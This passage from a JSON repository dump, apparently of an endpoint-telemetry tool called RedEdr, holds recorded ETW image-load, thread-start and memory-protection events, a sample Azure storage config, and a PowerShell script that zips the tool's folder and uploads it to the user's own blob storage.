\":\"4\",\"addr\":\"00007FFBDEC04C14\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987379234643\",\"pid\":\"1704\",\"thread_id\":\"14644\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F96E0\",\"ImageSize\":\"0x00000121360F90F0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"849765\",\"TimeDateStamp\":\"3559841777\",\"DefaultBase\":\"0x00000121360F93C0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\oleaut32.dll\"},{\"type\":\"dll\",\"time\":\"133737987388222078\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022524A56C98\",\"size\":\"1624\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987380888397\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F93C0\",\"ImageSize\":\"0x00000121360F93C0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"401062\",\"TimeDateStamp\":\"1783206983\",\"DefaultBase\":\"0x00000121360F93C0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\shlwapi.dll\"},{\"type\":\"etw\",\"time\":\"133737987380896341\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F94B0\",\"ImageSize\":\"0x00000121360F9460\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1162784\",\"TimeDateStamp\":\"543326611\",\"DefaultBase\":\"0x00000121360F9460\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msctf.dll\"},{\"type\":\"etw\",\"time\":\"133737987380946119\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9870\",\"ImageSize\":\"0x00000121360B70F0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"723665\",\"TimeDateStamp\":\"2255482695\",\"DefaultBase\":\"0x00000121360B7A50\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\TextShaping.dll\"},{\"type\":\"etw\",\"time\":\"133737987380961860\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9410\",\"ImageSize\":\"0x00000121360F90F0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"914722\",\"TimeDateStamp\":\"483081012\",\"DefaultBase\":\"0x00000121360F9870\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\efswrt.dll\"},{\"type\":\"etw\",\"time\":\"133737987380963002\",\"pid\":\"1704\",\"thread_id\":\"14644\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9870\",\"ImageSize\":\"0x00000121360BD110\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"129330\",\"TimeDateStamp\":\"931921329\",\"DefaultBase\":\"0x00000121360BD110\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\mpr.dll\"},{\"type\":\"etw\",\"time\":\"133737987380963412\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F94B0\",\"ImageSize\":\"0x00000121360F9870\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1424514\",\"TimeDateStamp\":\"2716751106\",\"DefaultBase\":\"0x00000121360F94B0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\WinTypes.dll\"},{\"type\":\"etw\",\"time\":\"133737987380966001\",\"pid\":\"1704\",\"thread_id\":\"11544\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"4756\",\"StackBase\":\"0x00000121360B7910\",\"StackLimit\":\"0x00000121360B76E0\",\"UserStackBase\":\"0x00000121360B70F0\",\"UserStackLimit\":\"0x00000121360B76E0\",\"StartAddr\":\"0x00000121360B76E0\",\"Win32StartAddr\":\"0x00000121360B76E0\",\"TebBase\":\"0x00000121360B7910\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987384526444\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360BD110\",\"ImageSize\":\"0x00000121360BD070\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"2144556\",\"TimeDateStamp\":\"371345800\",\"DefaultBase\":\"0x00000121360BD110\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\twinapi.appcore.dll\"},{\"type\":\"etw\",\"time\":\"133737987384530653\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"3796\",\"StackBase\":\"0x00000121360B8A50\",\"StackLimit\":\"0x00000121360B8690\",\"UserStackBase\":\"0x00000121360B8690\",\"UserStackLimit\":\"0x00000121360B8690\",\"StartAddr\":\"0x00000121360B8690\",\"Win32StartAddr\":\"0x00000121360B8690\",\"TebBase\":\"0x00000121360B8690\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987385879732\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"14344\",\"StackBase\":\"0x00000121360B8A50\",\"StackLimit\":\"0x00000121360B03E0\",\"UserStackBase\":\"0x00000121360B03E0\",\"UserStackLimit\":\"0x00000121360B03E0\",\"StartAddr\":\"0x00000121360B03E0\",\"Win32StartAddr\":\"0x00000121360B03E0\",\"TebBase\":\"0x00000121360B03E0\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987385886190\",\"pid\":\"1704\",\"thread_id\":\"3796\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"9096\",\"StackBase\":\"0x00000121360B70F0\",\"StackLimit\":\"0x00000121360B70F0\",\"UserStackBase\":\"0x00000121360B70F0\",\"UserStackLimit\":\"0x00000121360B70F0\",\"StartAddr\":\"0x00000121360B70F0\",\"Win32StartAddr\":\"0x00000121360B70F0\",\"TebBase\":\"0x00000121360B70F0\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987385928728\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360B2C00\",\"ImageSize\":\"0x00000121360B2C00\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"438444\",\"TimeDateStamp\":\"4130496952\",\"DefaultBase\":\"0x00000121360B2C00\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\oleacc.dll\"},{\"type\":\"etw\",\"time\":\"133737987386003188\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9500\",\"ImageSize\":\"0x00000121360B03E0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1038357\",\"TimeDateStamp\":\"409007408\",\"DefaultBase\":\"0x00000121360F9500\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\TextInputFramework.dll\"},{\"type\":\"etw\",\"time\":\"133737987386004880\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9500\",\"ImageSize\":\"0x00000121360F9500\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"988081\",\"TimeDateStamp\":\"1777838427\",\"DefaultBase\":\"0x00000121360F9500\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\CoreMessaging.dll\"},{\"type\":\"etw\",\"time\":\"133737987386005199\",\"pid\":\"1704\",\"thread_id\":\"4756\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136153D80\",\"ImageSize\":\"0x0000012136153E70\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"3577987\",\"TimeDateStamp\":\"240915949\",\"DefaultBase\":\"0x0000012136152980\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\CoreUIComponents.dll\"},{\"type\":\"dll\",\"time\":\"133737987388222078\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C8\",\"size\":\"704\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFEE4\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987388690947\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFB5\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987389472172\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFED\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987386006053\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136152D90\",\"ImageSize\":\"0x0000012136152520\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"489137\",\"TimeDateStamp\":\"2047685052\",\"DefaultBase\":\"0x00000121361531A0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ws2_32.dll\"},{\"type\":\"etw\",\"time\":\"133737987388317993\",\"pid\":\"1704\",\"thread_id\":\"11544\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121361531A0\",\"ImageSize\":\"0x0000012136153600\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"197444\",\"TimeDateStamp\":\"4265087599\",\"DefaultBase\":\"0x0000012136153600\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ntmarta.dll\"},{\"type\":\"dll\",\"time\":\"133737987389628340\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC00068\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987389940894\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0009C\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987389940894\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C0\",\"size\":\"13600\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02252\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00921\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987391503349\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF4C0\",\"size\":\"13600\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0354A\",\"page_addr\":\"00007FFBDEC03000\",\"size\":\"1089536\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC02296\",\"page_addr\":\"00007FFBDEC02000\",\"size\":\"1093632\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC00943\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEBFFB05\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987391503349\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F0FF510\",\"size\":\"1696\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC05082\",\"page_addr\":\"00007FFBDEC05000\",\"size\":\"1081344\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC079D2\",\"page_addr\":\"00007FFBDEC07000\",\"size\":\"1073152\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04C14\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987391503349\",\"pid\":\"1704\",\"tid\":\"4756\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"00000225249E9468\",\"size\":\"2368\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987391972076\",\"pid\":\"1704\",\"tid\":\"11544\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022525067168\",\"size\":\"1696\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]}]"
  },
  {
    "path": "azure_config.json.sample",
    "content": "{\n  \"StorageAccount\": \"detonator1\",\n  \"ContainerName\": \"scripts\",\n  \"BlobName\": \"rededr.zip\",\n  \"FilePath\": \"C:\\\\rededr\\\\rededr.zip\",\n  \"SasToken\": \"\"\n}"
  },
  {
    "path": "azure_upload.ps1",
    "content": "# Load config\n$config = Get-Content -Raw -Path \".\\azure_config.json\" | ConvertFrom-Json\n\n# cleanup\n$path = \"C:\\rededr\\data\"\n$source = \"C:\\rededr\\*\"\n$destination = \"C:\\rededr\\rededr.zip\"\n\nWrite-Output \"cleanup...\"\nif (Test-Path $path) {\n    Get-ChildItem -Path $path -File | Remove-Item -Force -ErrorAction SilentlyContinue\n}\nif (Test-Path $destination) {\n  Get-ChildItem $destination | Remove-Item -Force -ErrorAction SilentlyContinue\n}\n\n# make a zip\nWrite-Output \"zip...\"\nCompress-Archive -Path $source -DestinationPath $destination -Force\n\n# Upload zip as blob\nWrite-Output \"upload...\"\naz storage blob upload `\n  --account-name $($config.StorageAccount) `\n  --container-name $($config.ContainerName) `\n  --name $($config.BlobName) `\n  --file $destination `\n  --sas-token \"`\"$($config.SasToken)`\"\" `\n  --overwrite\n\n# delete zip\nWrite-Output \"cleanup...\"\nGet-ChildItem \"c:\\rededr\\rededr.zip\" | Remove-Item -Force\n"
  },
  {
    "path": "elam_driver/elam_driver.c",
